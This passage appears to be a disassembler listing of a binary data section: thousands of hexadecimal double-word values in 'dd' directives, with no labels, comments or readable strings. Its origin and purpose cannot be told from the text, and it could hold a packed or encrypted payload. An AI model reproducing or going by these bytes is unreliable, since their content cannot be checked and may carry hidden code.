0C20098D1h, 3E988ACBh, 802113h, 7426C084h dd 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h, 0B42CDADh dd 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h, 3B5638A1h dd 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h, 3D90A13Dh dd 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h, 0A4400343h dd 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch, 24CDC029h dd 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h, 0B24460B5h dd 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h, 63FC09Eh dd 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h, 40B20007h dd 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h, 0CC020035h dd 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh, 0A81AC91Ch dd 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah, 35252991h dd 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh dd 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h, 0B00FFBADh dd 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h dd 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h, 0ED7A8D35h dd 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h, 76007662h dd 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h, 0AC758224h dd 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h, 0E804C8B9h dd 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh, 9767FC24h dd 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h, 0F0F6F1h dd 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h, 0A58B01B0h dd 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h, 11B974h dd 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h, 3EED805Ch dd 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h, 85CA3Bh dd 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh, 0B16FE8C7h dd 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch, 0C38C49C0h dd 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h, 0B1283C00h dd 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h, 34F49E60h dd 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h, 0AF04E4E5h dd 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch, 0C590832Eh dd 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h, 324A8110h dd 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh dd 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h, 0CC653B40h dd 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h, 0CF27A9h dd 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h, 0E1B5358Eh dd 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h, 0C732D8h dd 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h, 0B795A0E3h dd 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh, 505AA41Fh dd 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h, 47895C00h dd 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h, 46B9C400h dd 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh dd 603E4E20h, 3B644E2Bh, 487109h, 22759166h, 0A9944487h dd 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h, 0A2580693h dd 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h, 0AA003308h dd 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h, 0B03F1F6Ch dd 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h, 24269DF7h dd 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh, 912C2040h dd 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h, 1C575E09h dd 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h, 70CAFDE2h dd 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh dd 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h, 4100723Bh dd 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h, 95796406h dd 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h, 0A410500h dd 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh, 9800FAC6h dd 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h, 2400640Ah dd 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h dd 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h, 386A8088h dd 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h, 14D8B2D8h dd 0EF486A4Eh, 27400086h, 96554152h, 4D050775h, 0A054BA08h dd 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h, 0D55247C2h dd 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h, 3A1DA6DFh dd 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh, 847D8351h dd 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h, 0D7975F4h dd 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh, 130073B8h dd 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh, 3E25E93Eh dd 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h, 34232CFFh dd 0CD00F37h, 604485A7h, 31382433h, 80522831h, 54E41940h dd 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h, 8B9303E8h dd 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h dd 9750E01h, 487E00FFh, 0A7521AA1h, 400D50Ch, 62BEE0DEh dd 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h dd 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h dd 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch dd 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h dd 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh, 0CC20F804h dd 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah dd 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h dd 264C4442h, 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch dd 974A18h, 40A5EB63h dd 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h dd 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h dd 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh, 9B0C960h dd 3B02010Bh, 67D1C50h, 49DB608Bh, 9076010Ch, 78C3C129h dd 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h dd 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh dd 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h dd 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh dd 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h, 0D2F13304h dd 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h dd 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh dd 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh dd 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h dd 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh, 5DC9CAD4h dd 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah dd 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h, 5198FFh dd 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h dd 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h dd 803C004Ah, 638A551h, 58A2B891h, 89000B15h, 88BC461Eh dd 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h, 706A6200h dd 7899DF60h, 14510010h, 22836350h, 7D5C4161h, 73760E0Dh dd 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h, 407C4100h dd 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh, 80A66974h dd 534018CFh, 48770061h, 0B37C577Dh, 4E019046h, 7BE16ED3h dd 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh, 603B7165h dd 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h, 800E1343h dd 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h, 1243001Ch dd 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h, 67700166h dd 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h, 6EF6E063h dd 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h, 0A288477Fh dd 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h, 581862h dd 6C1C6847h, 77875166h, 31706B00h, 1D466365h, 74487140h dd 1F077972h, 80615167h, 74945527h, 88070F28h, 4AE36F54h dd 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh, 6A0E654Bh dd 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h, 681E009Fh dd 486E38BFh, 95073052h, 1447CA1Ch, 3741150h, 61670046h dd 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h, 0E851F0A1h dd 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh, 0EA0BE276h dd 24C8045h, 3140E65h, 1830A560h, 48B07742h, 0B6006C63h dd 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh, 0B7C24400h dd 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h, 0A92FC8B9h dd 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch, 0BC009996h dd 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h, 0BB505Ch dd 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h, 28B4C28h dd 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h, 1CA73E16h dd 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh, 0AC95C031h dd 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h, 81E7E0FBh dd 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h, 0D55349Fh dd 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h, 0F2AEB19h dd 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h, 1A004240h dd 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh dd 1A552800h, 23224653h, 71110E44h, 528033B2h, 35752B03h dd 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh, 9000C343h dd 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h, 28B80AEEh dd 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h, 0AE173B19h dd 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh, 0C000F2DFh dd 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh, 7AD026BEh dd 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah, 183A0043h dd 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh dd 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh, 0C84BBA75h dd 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h, 436084DBh dd 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h, 1C248D4Ah dd 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h, 88FEF822h dd 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h dd 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h, 545DF0Ch dd 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h, 5DCCC300h dd 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh, 0C80F6CADh dd 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h, 0C514D885h dd 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h, 1B2480C4h dd 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h, 851EC422h dd 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h, 1CEB7FD8h dd 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h, 26DC4522h dd 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh, 0D76219D6h dd 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh, 0C8305399h dd 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h, 0D3C095BAh dd 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h, 34288B01h dd 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h, 0D8FE3020h dd 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h, 55D0DCE9h dd 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h, 12410C01h dd 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h, 87A2EBC6h dd 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h, 512F822Ch dd 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah dd 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh dd 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh, 60923949h dd 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h dd 805D203Eh, 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh dd 6EC0FA00h, 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h dd 9D863210h dd 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch, 28783F03h dd 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h, 294E00B7h dd 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh dd 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h dd 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh dd 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h dd 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh, 0C3E809D6h dd 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh, 1254E047h dd 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h dd 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h dd 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch dd 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h dd 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h, 384E3Dh dd 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h dd 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h dd 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h dd 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h dd 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h dd 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h, 1CD6EAC4h dd 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h dd 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h, 80CA8B2Eh dd 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h, 72102C00h dd 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h, 83D02BB9h dd 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h, 308DEDE5h dd 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h, 0A0881FC0h dd 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh, 0FF54BB17h dd 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h, 1D004D93h dd 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h, 3F052AC8h dd 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h, 80F6D48Fh dd 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h, 2B9600AAh dd 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh, 0C4097202h dd 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h, 66ED10h dd 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh dd 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h, 0D2E20300h dd 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh dd 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h, 0B8AA5584h dd 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h, 5580DF44h dd 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h, 1800E024h dd 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h, 0D20B9349h dd 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh, 11008279h dd 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h, 45AB85D8h dd 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h, 88D6CB55h dd 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h, 5300F71Eh dd 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh dd 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h, 6500929Fh dd 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h, 0A69DAE18h dd 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h, 0D9E23AE1h dd 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h dd 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h, 0E43AE881h dd 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh, 0DED4BA04h dd 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh, 7CA88E8Bh dd 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh, 8F433614h dd 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h, 428D0050h dd 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh, 0CCED8Ch dd 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h, 0F5DF03AAh dd 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h, 2FBF0142h dd 53A22A00h, 33001034h, 6547E788h, 3D180C04h, 0AB805249h dd 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h, 2162005Ah dd 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h, 0BF77E9h dd 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h, 43501C6Ch dd 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h, 0D43808FDh dd 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h, 0C054DF08h dd 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah, 300D1FD0h dd 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h, 0A10378BAh dd 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah, 541E4406h dd 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h, 5B4C53E8h dd 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h, 0B8877B34h dd 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h, 323CC8D1h dd 6F000AD8h, 243D05h, 7728C342h, 6119CA17h, 4015BA00h dd 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h, 0B8004929h dd 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h, 0BCB37B16h dd 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h, 0DC00EE0Bh dd 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h, 0DEA7021Eh dd 9521E42h, 6821C013h, 1E50084h, 0C419FED5h, 0BA0005C8h dd 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h, 30F1600Eh dd 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h dd 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h, 3CF87708h dd 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h, 1CBE6096h dd 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh, 3FFFE400h dd 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh dd 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h, 40DEDDB3h dd 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h, 0CF031896h dd 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh, 8D26559Bh dd 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h, 5002818h dd 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh dd 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh, 0ECB064A4h dd 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h, 0E5E8B780h dd 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah dd 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h dd 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h, 544CF20h dd 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h dd 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah, 4AA64126h dd 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h, 8E0E7412h dd 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh dd 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh dd 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h, 54D30F20h dd 5C401460h, 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h dd 0EA7B8401h, 2F2985FAh dd 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h, 1739997Ah dd 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh, 0A41002EBh dd 6143536h, 222AD880h, 480FC8EDh, 0A0026433h, 0BD105CCBh dd 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh, 5500A98Fh dd 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h dd 791B200h, 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h dd 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h dd 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h, 0D4370734h dd 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h, 0B91200A1h dd 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h dd 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh, 0ECA11A74h dd 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h, 5854C35Eh dd 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h, 83F07072h dd 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h, 1BCD0854h dd 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h, 0E0C3C72h dd 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h, 8304A8D8h dd 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh, 6288E8h dd 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh, 20CD02EBh dd 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch, 0EC3EAh dd 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h, 81C32C69h dd 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch, 3DDCD0BAh dd 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h, 0DF2D62D0h dd 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h, 0E23B358Dh dd 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h, 0C67835Ah dd 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h, 0D9250F4Ch dd 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h, 0A650545h dd 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h, 30058B64h dd 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h, 96E88031h dd 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh, 0FE6A8B29h dd 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h, 88091DBh dd 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh, 51759BB4h dd 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh, 600F713h dd 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah dd 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh, 503AC297h dd 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh, 80FAB89Fh dd 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h, 0F5162575h dd 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h, 8A850B0Ch dd 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh, 0E2AEC583h dd 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h, 8A60083h dd 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h, 2B3960E4h dd 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h, 784C2DC0h dd 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h, 0EFEB0B92h dd 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h, 0E10EF0A5h dd 683C7700h, 2E855274h, 7FD70059h, 756E8441h, 8006604h dd 4A92BE69h, 0E26B5B10h, 